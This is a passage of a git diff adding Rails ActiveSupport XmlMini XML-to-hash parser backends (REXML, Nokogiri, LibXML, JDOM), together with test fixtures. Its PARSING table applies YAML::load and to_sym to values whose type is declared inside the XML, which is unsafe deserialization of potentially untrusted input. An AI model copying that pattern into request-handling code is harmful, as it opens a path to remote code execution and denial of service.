+ "BigDecimal" => "decimal",
+ "Float" => "float",
+ "TrueClass" => "boolean",
+ "FalseClass" => "boolean",
+ "Date" => "date",
+ "DateTime" => "dateTime",
+ "Time" => "dateTime",
+ "Array" => "array",
+ "Hash" => "hash"
+ } unless defined?(TYPE_NAMES)
+
+ FORMATTING = {
+ "symbol" => Proc.new { |symbol| symbol.to_s },
+ "date" => Proc.new { |date| date.to_s(:db) },
+ "dateTime" => Proc.new { |time| time.xmlschema },
+ "binary" => Proc.new { |binary| ::Base64.encode64(binary) },
+ "yaml" => Proc.new { |yaml| yaml.to_yaml }
+ } unless defined?(FORMATTING)
+
+ # TODO use regexp instead of Date.parse
+ unless defined?(PARSING)
+ PARSING = {
+ "symbol" => Proc.new { |symbol| symbol.to_sym },
+ "date" => Proc.new { |date| ::Date.parse(date) },
+ "datetime" => Proc.new { |time| Time.xmlschema(time).utc rescue ::DateTime.parse(time).utc },
+ "integer" => Proc.new { |integer| integer.to_i },
+ "float" => Proc.new { |float| float.to_f },
+ "decimal" => Proc.new { |number| BigDecimal(number) },
+ "boolean" => Proc.new { |boolean| %w(1 true).include?(boolean.strip) },
+ "string" => Proc.new { |string| string.to_s },
+ "yaml" => Proc.new { |yaml| YAML::load(yaml) rescue yaml },
+ "base64Binary" => Proc.new { |bin| ::Base64.decode64(bin) },
+ "binary" => Proc.new { |bin, entity| _parse_binary(bin, entity) },
+ "file" => Proc.new { |file, entity| _parse_file(file, entity) }
+ }
+
+ PARSING.update(
+ "double" => PARSING["float"],
+ "dateTime" => PARSING["datetime"]
+ )
+ end
+
+ delegate :parse, :to => :backend
+
+ def backend
+ current_thread_backend || @backend
+ end
+
+ def backend=(name)
+ backend = name && cast_backend_name_to_module(name)
+ self.current_thread_backend = backend if current_thread_backend
+ @backend = backend
+ end
+
+ def with_backend(name)
+ old_backend = current_thread_backend
+ self.current_thread_backend = name && cast_backend_name_to_module(name)
+ yield
+ ensure
+ self.current_thread_backend = old_backend
+ end
+
+ def to_tag(key, value, options)
+ type_name = options.delete(:type)
+ merged_options = options.merge(:root => key, :skip_instruct => true)
+
+ if value.is_a?(::Method) || value.is_a?(::Proc)
+ if value.arity == 1
+ value.call(merged_options)
+ else
+ value.call(merged_options, key.to_s.singularize)
+ end
+ elsif value.respond_to?(:to_xml)
+ value.to_xml(merged_options)
+ else
+ type_name ||= TYPE_NAMES[value.class.name]
+ type_name ||= value.class.name if value && !value.respond_to?(:to_str)
+ type_name = type_name.to_s if type_name
+ type_name = "dateTime" if type_name == "datetime"
+
+ key = rename_key(key.to_s, options)
+
+ attributes = options[:skip_types] || type_name.nil? ? { } : { :type => type_name }
+ attributes[:nil] = true if value.nil?
+
+ encoding = options[:encoding] || DEFAULT_ENCODINGS[type_name]
+ attributes[:encoding] = encoding if encoding
+
+ formatted_value = FORMATTING[type_name] && !value.nil? ?
+ FORMATTING[type_name].call(value) : value
+
+ options[:builder].tag!(key, formatted_value, attributes)
+ end
+ end
+
+ def rename_key(key, options = {})
+ camelize = options[:camelize]
+ dasherize = !options.has_key?(:dasherize) || options[:dasherize]
+ if camelize
+ key = true == camelize ? key.camelize : key.camelize(camelize)
+ end
+ key = _dasherize(key) if dasherize
+ key
+ end
+
+ protected
+
+ def _dasherize(key)
+ # $2 must be a non-greedy regex for this to work
+ left, middle, right = /\A(_*)(.*?)(_*)\Z/.match(key.strip)[1,3]
+ "#{left}#{middle.tr('_ ', '--')}#{right}"
+ end
+
+ # TODO: Add support for other encodings
+ def _parse_binary(bin, entity) #:nodoc:
+ case entity['encoding']
+ when 'base64'
+ ::Base64.decode64(bin)
+ else
+ bin
+ end
+ end
+
+ def _parse_file(file, entity)
+ f = StringIO.new(::Base64.decode64(file))
+ f.extend(FileLike)
+ f.original_filename = entity['name']
+ f.content_type = entity['content_type']
+ f
+ end
+
+ private
+
+ def current_thread_backend
+ Thread.current[:xml_mini_backend]
+ end
+
+ def current_thread_backend=(name)
+ Thread.current[:xml_mini_backend] = name && cast_backend_name_to_module(name)
+ end
+
+ def cast_backend_name_to_module(name)
+ if name.is_a?(Module)
+ name
+ else
+ require "active_support/xml_mini/#{name.downcase}"
+ ActiveSupport.const_get("XmlMini_#{name}")
+ end
+ end
+ end
+
+ XmlMini.backend = 'REXML'
+end
diff --git a/activesupport/lib/active_support/xml_mini/jdom.rb b/activesupport/lib/active_support/xml_mini/jdom.rb
new file mode 100644
index 0000000..27c64c4
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/jdom.rb
@@ -0,0 +1,180 @@
+raise "JRuby is required to use the JDOM backend for XmlMini" unless RUBY_PLATFORM =~ /java/
+
+require 'jruby'
+include Java
+
+require 'active_support/core_ext/object/blank'
+
+java_import javax.xml.parsers.DocumentBuilder unless defined? DocumentBuilder
+java_import javax.xml.parsers.DocumentBuilderFactory unless defined? DocumentBuilderFactory
+java_import java.io.StringReader unless defined? StringReader
+java_import org.xml.sax.InputSource unless defined? InputSource
+java_import org.xml.sax.Attributes unless defined? Attributes
+java_import org.w3c.dom.Node unless defined? Node
+
+module ActiveSupport
+ module XmlMini_JDOM #:nodoc:
+ extend self
+
+ CONTENT_KEY = '__content__'.freeze
+
+ NODE_TYPE_NAMES = %w{ATTRIBUTE_NODE CDATA_SECTION_NODE COMMENT_NODE DOCUMENT_FRAGMENT_NODE
+ DOCUMENT_NODE DOCUMENT_TYPE_NODE ELEMENT_NODE ENTITY_NODE ENTITY_REFERENCE_NODE NOTATION_NODE
+ PROCESSING_INSTRUCTION_NODE TEXT_NODE}
+
+ node_type_map = {}
+ NODE_TYPE_NAMES.each { |type| node_type_map[Node.send(type)] = type }
+
+ # Parse an XML Document string or IO into a simple hash using Java's jdom.
+ # data::
+ # XML Document string or IO to parse
+ def parse(data)
+ if data.respond_to?(:read)
+ data = data.read
+ end
+
+ if data.blank?
+ {}
+ else
+ @dbf = DocumentBuilderFactory.new_instance
+ # secure processing of java xml
+ # http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html
+ @dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false)
+ @dbf.setFeature("http://xml.org/sax/features/external-general-entities", false)
+ @dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false)
+ @dbf.setFeature(javax.xml.XMLConstants::FEATURE_SECURE_PROCESSING, true)
+ xml_string_reader = StringReader.new(data)
+ xml_input_source = InputSource.new(xml_string_reader)
+ doc = @dbf.new_document_builder.parse(xml_input_source)
+ merge_element!({CONTENT_KEY => ''}, doc.document_element)
+ end
+ end
+
+ private
+
+ # Convert an XML element and merge into the hash
+ #
+ # hash::
+ # Hash to merge the converted element into.
+ # element::
+ # XML element to merge into hash
+ def merge_element!(hash, element)
+ delete_empty(hash)
+ merge!(hash, element.tag_name, collapse(element))
+ end
+
+ def delete_empty(hash)
+ hash.delete(CONTENT_KEY) if hash[CONTENT_KEY] == ''
+ end
+
+ # Actually converts an XML document element into a data structure.
+ #
+ # element::
+ # The document element to be collapsed.
+ def collapse(element)
+ hash = get_attributes(element)
+
+ child_nodes = element.child_nodes
+ if child_nodes.length > 0
+ (0...child_nodes.length).each do |i|
+ child = child_nodes.item(i)
+ merge_element!(hash, child) unless child.node_type == Node.TEXT_NODE
+ end
+ merge_texts!(hash, element) unless empty_content?(element)
+ hash
+ else
+ merge_texts!(hash, element)
+ end
+ end
+
+ # Merge all the texts of an element into the hash
+ #
+ # hash::
+ # Hash to add the converted element to.
+ # element::
+ # XML element whose texts are to me merged into the hash
+ def merge_texts!(hash, element)
+ delete_empty(hash)
+ text_children = texts(element)
+ if text_children.join.empty?
+ hash
+ else
+ # must use value to prevent double-escaping
+ merge!(hash, CONTENT_KEY, text_children.join)
+ end
+ end
+
+ # Adds a new key/value pair to an existing Hash. If the key to be added
+ # already exists and the existing value associated with key is not
+ # an Array, it will be wrapped in an Array. Then the new value is
+ # appended to that Array.
+ #
+ # hash::
+ # Hash to add key/value pair to.
+ # key::
+ # Key to be added.
+ # value::
+ # Value to be associated with key.
+ def merge!(hash, key, value)
+ if hash.has_key?(key)
+ if hash[key].instance_of?(Array)
+ hash[key] << value
+ else
+ hash[key] = [hash[key], value]
+ end
+ elsif value.instance_of?(Array)
+ hash[key] = [value]
+ else
+ hash[key] = value
+ end
+ hash
+ end
+
+ # Converts the attributes array of an XML element into a hash.
+ # Returns an empty Hash if node has no attributes.
+ #
+ # element::
+ # XML element to extract attributes from.
+ def get_attributes(element)
+ attribute_hash = {}
+ attributes = element.attributes
+ (0...attributes.length).each do |i|
+ attribute_hash[CONTENT_KEY] ||= ''
+ attribute_hash[attributes.item(i).name] = attributes.item(i).value
+ end
+ attribute_hash
+ end
+
+ # Determines if a document element has text content
+ #
+ # element::
+ # XML element to be checked.
+ def texts(element)
+ texts = []
+ child_nodes = element.child_nodes
+ (0...child_nodes.length).each do |i|
+ item = child_nodes.item(i)
+ if item.node_type == Node.TEXT_NODE
+ texts << item.get_data
+ end
+ end
+ texts
+ end
+
+ # Determines if a document element has text content
+ #
+ # element::
+ # XML element to be checked.
+ def empty_content?(element)
+ text = ''
+ child_nodes = element.child_nodes
+ (0...child_nodes.length).each do |i|
+ item = child_nodes.item(i)
+ if item.node_type == Node.TEXT_NODE
+ text << item.get_data.strip
+ end
+ end
+ text.strip.length == 0
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/xml_mini/libxml.rb b/activesupport/lib/active_support/xml_mini/libxml.rb
new file mode 100644
index 0000000..47a2824
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/libxml.rb
@@ -0,0 +1,79 @@
+require 'libxml'
+require 'active_support/core_ext/object/blank'
+require 'stringio'
+
+module ActiveSupport
+ module XmlMini_LibXML #:nodoc:
+ extend self
+
+ # Parse an XML Document string or IO into a simple hash using libxml.
+ # data::
+ # XML Document string or IO to parse
+ def parse(data)
+ if !data.respond_to?(:read)
+ data = StringIO.new(data || '')
+ end
+
+ char = data.getc
+ if char.nil?
+ {}
+ else
+ data.ungetc(char)
+ LibXML::XML::Parser.io(data).parse.to_hash
+ end
+ end
+
+ end
+end
+
+module LibXML #:nodoc:
+ module Conversions #:nodoc:
+ module Document #:nodoc:
+ def to_hash
+ root.to_hash
+ end
+ end
+
+ module Node #:nodoc:
+ CONTENT_ROOT = '__content__'.freeze
+
+ # Convert XML document to hash.
+ #
+ # hash::
+ # Hash to merge the converted element into.
+ def to_hash(hash={})
+ node_hash = {}
+
+ # Insert node hash into parent hash correctly.
+ case hash[name]
+ when Array then hash[name] << node_hash
+ when Hash then hash[name] = [hash[name], node_hash]
+ when nil then hash[name] = node_hash
+ end
+
+ # Handle child elements
+ each_child do |c|
+ if c.element?
+ c.to_hash(node_hash)
+ elsif c.text? || c.cdata?
+ node_hash[CONTENT_ROOT] ||= ''
+ node_hash[CONTENT_ROOT] << c.content
+ end
+ end
+
+ # Remove content node if it is blank
+ if node_hash.length > 1 && node_hash[CONTENT_ROOT].blank?
+ node_hash.delete(CONTENT_ROOT)
+ end
+
+ # Handle attributes
+ each_attr { |a| node_hash[a.name] = a.value }
+
+ hash
+ end
+ end
+ end
+end
+
+LibXML::XML::Document.send(:include, LibXML::Conversions::Document)
+LibXML::XML::Node.send(:include, LibXML::Conversions::Node)
diff --git a/activesupport/lib/active_support/xml_mini/libxmlsax.rb b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
new file mode 100644
index 0000000..70a9529
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
@@ -0,0 +1,85 @@
+require 'libxml'
+require 'active_support/core_ext/object/blank'
+require 'stringio'
+
+module ActiveSupport
+ module XmlMini_LibXMLSAX #:nodoc:
+ extend self
+
+ # Class that will build the hash while the XML document
+ # is being parsed using SAX events.
+ class HashBuilder
+
+ include LibXML::XML::SaxParser::Callbacks
+
+ CONTENT_KEY = '__content__'.freeze
+ HASH_SIZE_KEY = '__hash_size__'.freeze
+
+ attr_reader :hash
+
+ def current_hash
+ @hash_stack.last
+ end
+
+ def on_start_document
+ @hash = { CONTENT_KEY => '' }
+ @hash_stack = [@hash]
+ end
+
+ def on_end_document
+ @hash = @hash_stack.pop
+ @hash.delete(CONTENT_KEY)
+ end
+
+ def on_start_element(name, attrs = {})
+ new_hash = { CONTENT_KEY => '' }.merge!(attrs)
+ new_hash[HASH_SIZE_KEY] = new_hash.size + 1
+
+ case current_hash[name]
+ when Array then current_hash[name] << new_hash
+ when Hash then current_hash[name] = [current_hash[name], new_hash]
+ when nil then current_hash[name] = new_hash
+ end
+
+ @hash_stack.push(new_hash)
+ end
+
+ def on_end_element(name)
+ if current_hash.length > current_hash.delete(HASH_SIZE_KEY) && current_hash[CONTENT_KEY].blank? || current_hash[CONTENT_KEY] == ''
+ current_hash.delete(CONTENT_KEY)
+ end
+ @hash_stack.pop
+ end
+
+ def on_characters(string)
+ current_hash[CONTENT_KEY] << string
+ end
+
+ alias_method :on_cdata_block, :on_characters
+ end
+
+ attr_accessor :document_class
+ self.document_class = HashBuilder
+
+ def parse(data)
+ if !data.respond_to?(:read)
+ data = StringIO.new(data || '')
+ end
+
+ char = data.getc
+ if char.nil?
+ {}
+ else
+ data.ungetc(char)
+
+ LibXML::XML::Error.set_handler(&LibXML::XML::Error::QUIET_HANDLER)
+ parser = LibXML::XML::SaxParser.io(data)
+ document = self.document_class.new
+
+ parser.callbacks = document
+ parser.parse
+ document.hash
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/xml_mini/nokogiri.rb b/activesupport/lib/active_support/xml_mini/nokogiri.rb
new file mode 100644
index 0000000..7398d4f
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/nokogiri.rb
@@ -0,0 +1,83 @@
+begin
+ require 'nokogiri'
+rescue LoadError => e
+ $stderr.puts "You don't have nokogiri installed in your application. Please add it to your Gemfile and run bundle install"
+ raise e
+end
+require 'active_support/core_ext/object/blank'
+require 'stringio'
+
+module ActiveSupport
+ module XmlMini_Nokogiri #:nodoc:
+ extend self
+
+ # Parse an XML Document string or IO into a simple hash using libxml / nokogiri.
+ # data::
+ # XML Document string or IO to parse
+ def parse(data)
+ if !data.respond_to?(:read)
+ data = StringIO.new(data || '')
+ end
+
+ char = data.getc
+ if char.nil?
+ {}
+ else
+ data.ungetc(char)
+ doc = Nokogiri::XML(data)
+ raise doc.errors.first if doc.errors.length > 0
+ doc.to_hash
+ end
+ end
+
+ module Conversions #:nodoc:
+ module Document #:nodoc:
+ def to_hash
+ root.to_hash
+ end
+ end
+
+ module Node #:nodoc:
+ CONTENT_ROOT = '__content__'.freeze
+
+ # Convert XML document to hash.
+ #
+ # hash::
+ # Hash to merge the converted element into.
+ def to_hash(hash={})
+ node_hash = {}
+
+ # Insert node hash into parent hash correctly.
+ case hash[name]
+ when Array then hash[name] << node_hash
+ when Hash then hash[name] = [hash[name], node_hash]
+ when nil then hash[name] = node_hash
+ end
+
+ # Handle child elements
+ children.each do |c|
+ if c.element?
+ c.to_hash(node_hash)
+ elsif c.text? || c.cdata?
+ node_hash[CONTENT_ROOT] ||= ''
+ node_hash[CONTENT_ROOT] << c.content
+ end
+ end
+
+ # Remove content node if it is blank and there are child tags
+ if node_hash.length > 1 && node_hash[CONTENT_ROOT].blank?
+ node_hash.delete(CONTENT_ROOT)
+ end
+
+ # Handle attributes
+ attribute_nodes.each { |a| node_hash[a.node_name] = a.value }
+
+ hash
+ end
+ end
+ end
+
+ Nokogiri::XML::Document.send(:include, Conversions::Document)
+ Nokogiri::XML::Node.send(:include, Conversions::Node)
+ end
+end
diff --git a/activesupport/lib/active_support/xml_mini/nokogirisax.rb b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
new file mode 100644
index 0000000..be2d6a4
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
@@ -0,0 +1,87 @@
+begin
+ require 'nokogiri'
+rescue LoadError => e
+ $stderr.puts "You don't have nokogiri installed in your application. Please add it to your Gemfile and run bundle install"
+ raise e
+end
+require 'active_support/core_ext/object/blank'
+require 'stringio'
+
+module ActiveSupport
+ module XmlMini_NokogiriSAX #:nodoc:
+ extend self
+
+ # Class that will build the hash while the XML document
+ # is being parsed using SAX events.
+ class HashBuilder < Nokogiri::XML::SAX::Document
+
+ CONTENT_KEY = '__content__'.freeze
+ HASH_SIZE_KEY = '__hash_size__'.freeze
+
+ attr_reader :hash
+
+ def current_hash
+ @hash_stack.last
+ end
+
+ def start_document
+ @hash = {}
+ @hash_stack = [@hash]
+ end
+
+ def end_document
+ raise "Parse stack not empty!" if @hash_stack.size > 1
+ end
+
+ def error(error_message)
+ raise error_message
+ end
+
+ def start_element(name, attrs = [])
+ new_hash = { CONTENT_KEY => '' }.merge!(Hash[attrs])
+ new_hash[HASH_SIZE_KEY] = new_hash.size + 1
+
+ case current_hash[name]
+ when Array then current_hash[name] << new_hash
+ when Hash then current_hash[name] = [current_hash[name], new_hash]
+ when nil then current_hash[name] = new_hash
+ end
+
+ @hash_stack.push(new_hash)
+ end
+
+ def end_element(name)
+ if current_hash.length > current_hash.delete(HASH_SIZE_KEY) && current_hash[CONTENT_KEY].blank? || current_hash[CONTENT_KEY] == ''
+ current_hash.delete(CONTENT_KEY)
+ end
+ @hash_stack.pop
+ end
+
+ def characters(string)
+ current_hash[CONTENT_KEY] << string
+ end
+
+ alias_method :cdata_block, :characters
+ end
+
+ attr_accessor :document_class
+ self.document_class = HashBuilder
+
+ def parse(data)
+ if !data.respond_to?(:read)
+ data = StringIO.new(data || '')
+ end
+
+ char = data.getc
+ if char.nil?
+ {}
+ else
+ data.ungetc(char)
+ document = self.document_class.new
+ parser = Nokogiri::XML::SAX::Parser.new(document)
+ parser.parse(data)
+ document.hash
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/xml_mini/rexml.rb b/activesupport/lib/active_support/xml_mini/rexml.rb
new file mode 100644
index 0000000..5c7c78b
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/rexml.rb
@@ -0,0 +1,129 @@
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/core_ext/object/blank'
+require 'stringio'
+
+module ActiveSupport
+ module XmlMini_REXML #:nodoc:
+ extend self
+
+ CONTENT_KEY = '__content__'.freeze
+
+ # Parse an XML Document string or IO into a simple hash.
+ #
+ # Same as XmlSimple::xml_in but doesn't shoot itself in the foot,
+ # and uses the defaults from Active Support.
+ #
+ # data::
+ # XML Document string or IO to parse
+ def parse(data)
+ if !data.respond_to?(:read)
+ data = StringIO.new(data || '')
+ end
+
+ char = data.getc
+ if char.nil?
+ {}
+ else
+ data.ungetc(char)
+ silence_warnings { require 'rexml/document' } unless defined?(REXML::Document)
+ doc = REXML::Document.new(data)
+
+ if doc.root
+ merge_element!({}, doc.root)
+ else
+ raise REXML::ParseException,
+ "The document #{doc.to_s.inspect} does not have a valid root"
+ end
+ end
+ end
+
+ private
+ # Convert an XML element and merge into the hash
+ #
+ # hash::
+ # Hash to merge the converted element into.
+ # element::
+ # XML element to merge into hash
+ def merge_element!(hash, element)
+ merge!(hash, element.name, collapse(element))
+ end
+
+ # Actually converts an XML document element into a data structure.
+ #
+ # element::
+ # The document element to be collapsed.
+ def collapse(element)
+ hash = get_attributes(element)
+
+ if element.has_elements?
+ element.each_element {|child| merge_element!(hash, child) }
+ merge_texts!(hash, element) unless empty_content?(element)
+ hash
+ else
+ merge_texts!(hash, element)
+ end
+ end
+
+ # Merge all the texts of an element into the hash
+ #
+ # hash::
+ # Hash to add the converted element to.
+ # element::
+ # XML element whose texts are to me merged into the hash
+ def merge_texts!(hash, element)
+ unless element.has_text?
+ hash
+ else
+ # must use value to prevent double-escaping
+ texts = ''
+ element.texts.each { |t| texts << t.value }
+ merge!(hash, CONTENT_KEY, texts)
+ end
+ end
+
+ # Adds a new key/value pair to an existing Hash. If the key to be added
+ # already exists and the existing value associated with key is not
+ # an Array, it will be wrapped in an Array. Then the new value is
+ # appended to that Array.
+ #
+ # hash::
+ # Hash to add key/value pair to.
+ # key::
+ # Key to be added.
+ # value::
+ # Value to be associated with key.
+ def merge!(hash, key, value)
+ if hash.has_key?(key)
+ if hash[key].instance_of?(Array)
+ hash[key] << value
+ else
+ hash[key] = [hash[key], value]
+ end
+ elsif value.instance_of?(Array)
+ hash[key] = [value]
+ else
+ hash[key] = value
+ end
+ hash
+ end
+
+ # Converts the attributes array of an XML element into a hash.
+ # Returns an empty Hash if node has no attributes.
+ #
+ # element::
+ # XML element to extract attributes from.
+ def get_attributes(element)
+ attributes = {}
+ element.attributes.each { |n,v| attributes[n] = v }
+ attributes
+ end
+
+ # Determines if a document element has text content
+ #
+ # element::
+ # XML element to be checked.
+ def empty_content?(element)
+ element.texts.join.blank?
+ end
+ end
+end
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
new file mode 100644
index 0000000..dd17cb6
--- /dev/null
+++ b/activesupport/test/abstract_unit.rb
@@ -0,0 +1,27 @@
+ORIG_ARGV = ARGV.dup
+
+begin
+ old, $VERBOSE = $VERBOSE, nil
+ require File.expand_path('../../../load_paths', __FILE__)
+ensure
+ $VERBOSE = old
+end
+
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/core_ext/string/encoding'
+
+silence_warnings do
+ Encoding.default_internal = "UTF-8"
+ Encoding.default_external = "UTF-8"
+end
+
+require 'active_support/testing/autorun'
+require 'empty_bool'
+
+ENV['NO_RELOAD'] = '1'
+require 'active_support'
+
+Thread.abort_on_exception = true
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
diff --git a/activesupport/test/autoload_test.rb b/activesupport/test/autoload_test.rb
new file mode 100644
index 0000000..7d02d83
--- /dev/null
+++ b/activesupport/test/autoload_test.rb
@@ -0,0 +1,70 @@
+require 'abstract_unit'
+
+class TestAutoloadModule < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ module ::Fixtures
+ extend ActiveSupport::Autoload
+
+ module Autoload
+ extend ActiveSupport::Autoload
+ end
+ end
+
+ test "the autoload module works like normal autoload" do
+ module ::Fixtures::Autoload
+ autoload :SomeClass, "fixtures/autoload/some_class"
+ end
+
+ assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+ end
+
+ test "when specifying an :eager constant it still works like normal autoload by default" do
+ module ::Fixtures::Autoload
+ autoload :SomeClass, "fixtures/autoload/some_class"
+ end
+
+ assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
+ assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+ end
+
+ test "the location of autoloaded constants defaults to :name.underscore" do
+ module ::Fixtures::Autoload
+ autoload :SomeClass
+ end
+
+ assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
+ assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+ end
+
+ test "the location of :eager autoloaded constants defaults to :name.underscore" do
+ module ::Fixtures::Autoload
+ autoload :SomeClass
+ end
+
+ ::Fixtures::Autoload.eager_load!
+ assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+ end
+
+ test "a directory for a block of autoloads can be specified" do
+ module ::Fixtures
+ autoload_under "autoload" do
+ autoload :AnotherClass
+ end
+ end
+
+ assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
+ assert_nothing_raised { ::Fixtures::AnotherClass }
+ end
+
+ test "a path for a block of autoloads can be specified" do
+ module ::Fixtures
+ autoload_at "fixtures/autoload/another_class" do
+ autoload :AnotherClass
+ end
+ end
+
+ assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
+ assert_nothing_raised { ::Fixtures::AnotherClass }
+ end
+end
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/a/b.rb b/activesupport/test/autoloading_fixtures/a/b.rb
new file mode 100644
index 0000000..9c9e645
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/a/b.rb
@@ -0,0 +1,2 @@
+class A::B
+end
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/a/c/d.rb b/activesupport/test/autoloading_fixtures/a/c/d.rb
new file mode 100644
index 0000000..0f40d6f
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/a/c/d.rb
@@ -0,0 +1,2 @@
+class A::C::D
+end
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/a/c/e/f.rb b/activesupport/test/autoloading_fixtures/a/c/e/f.rb
new file mode 100644
index 0000000..57dba5a
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/a/c/e/f.rb
@@ -0,0 +1,2 @@
+class A::C::E::F
+end
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/application.rb b/activesupport/test/autoloading_fixtures/application.rb
new file mode 100644
index 0000000..d7d3096
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/application.rb
@@ -0,0 +1 @@
+ApplicationController = 10
diff --git a/activesupport/test/autoloading_fixtures/circular1.rb b/activesupport/test/autoloading_fixtures/circular1.rb
new file mode 100644
index 0000000..a45761f
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/circular1.rb
@@ -0,0 +1,6 @@
+silence_warnings do
+ Circular2
+end
+
+class Circular1
+end
diff --git a/activesupport/test/autoloading_fixtures/circular2.rb b/activesupport/test/autoloading_fixtures/circular2.rb
new file mode 100644
index 0000000..c847fa5
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/circular2.rb
@@ -0,0 +1,4 @@
+Circular1
+
+class Circular2
+end
diff --git a/activesupport/test/autoloading_fixtures/class_folder.rb b/activesupport/test/autoloading_fixtures/class_folder.rb
new file mode 100644
index 0000000..ad2b27b
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/class_folder.rb
@@ -0,0 +1,3 @@
+class ClassFolder
+ ConstantInClassFolder = 'indeed'
+end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb b/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
new file mode 100644
index 0000000..402609c
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
@@ -0,0 +1,3 @@
+class ClassFolder::ClassFolderSubclass < ClassFolder
+ ConstantInClassFolder = 'indeed'
+end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb b/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb
new file mode 100644
index 0000000..8235e90
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb
@@ -0,0 +1,2 @@
+class ClassFolder::InlineClass
+end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb b/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb
new file mode 100644
index 0000000..57a13d8
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb
@@ -0,0 +1,7 @@
+class ClassFolder
+ class NestedClass
+ end
+
+ class SiblingClass
+ end
+end
diff --git a/activesupport/test/autoloading_fixtures/conflict.rb b/activesupport/test/autoloading_fixtures/conflict.rb
new file mode 100644
index 0000000..4ac6201
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/conflict.rb
@@ -0,0 +1 @@
+Conflict = 2
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/counting_loader.rb b/activesupport/test/autoloading_fixtures/counting_loader.rb
new file mode 100644
index 0000000..4225c44
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/counting_loader.rb
@@ -0,0 +1,5 @@
+$counting_loaded_times ||= 0
+$counting_loaded_times += 1
+
+module CountingLoader
+end
diff --git a/activesupport/test/autoloading_fixtures/cross_site_dependency.rb b/activesupport/test/autoloading_fixtures/cross_site_dependency.rb
new file mode 100644
index 0000000..21ee554
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/cross_site_dependency.rb
@@ -0,0 +1,2 @@
+class CrossSiteDependency
+end
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/e.rb b/activesupport/test/autoloading_fixtures/e.rb
new file mode 100644
index 0000000..2f59e4f
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/e.rb
@@ -0,0 +1,2 @@
+class E
+end
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/load_path/loaded_constant.rb b/activesupport/test/autoloading_fixtures/load_path/loaded_constant.rb
new file mode 100644
index 0000000..e3d1218
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/load_path/loaded_constant.rb
@@ -0,0 +1,3 @@
+module LoadedConstant
+end
+
diff --git a/activesupport/test/autoloading_fixtures/loads_constant.rb b/activesupport/test/autoloading_fixtures/loads_constant.rb
new file mode 100644
index 0000000..0b30dc8
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/loads_constant.rb
@@ -0,0 +1,5 @@
+module LoadsConstant
+end
+
+# The _ = assignment is to prevent warnings
+_ = RequiresConstant
diff --git a/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb b/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb
new file mode 100644
index 0000000..ca83437
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb
@@ -0,0 +1,2 @@
+class ModuleFolder::InlineClass
+end
diff --git a/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb b/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb
new file mode 100644
index 0000000..fc4076b
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb
@@ -0,0 +1,4 @@
+module ModuleFolder
+ class NestedClass
+ end
+end
diff --git a/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb b/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb
new file mode 100644
index 0000000..80244b8
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb
@@ -0,0 +1,2 @@
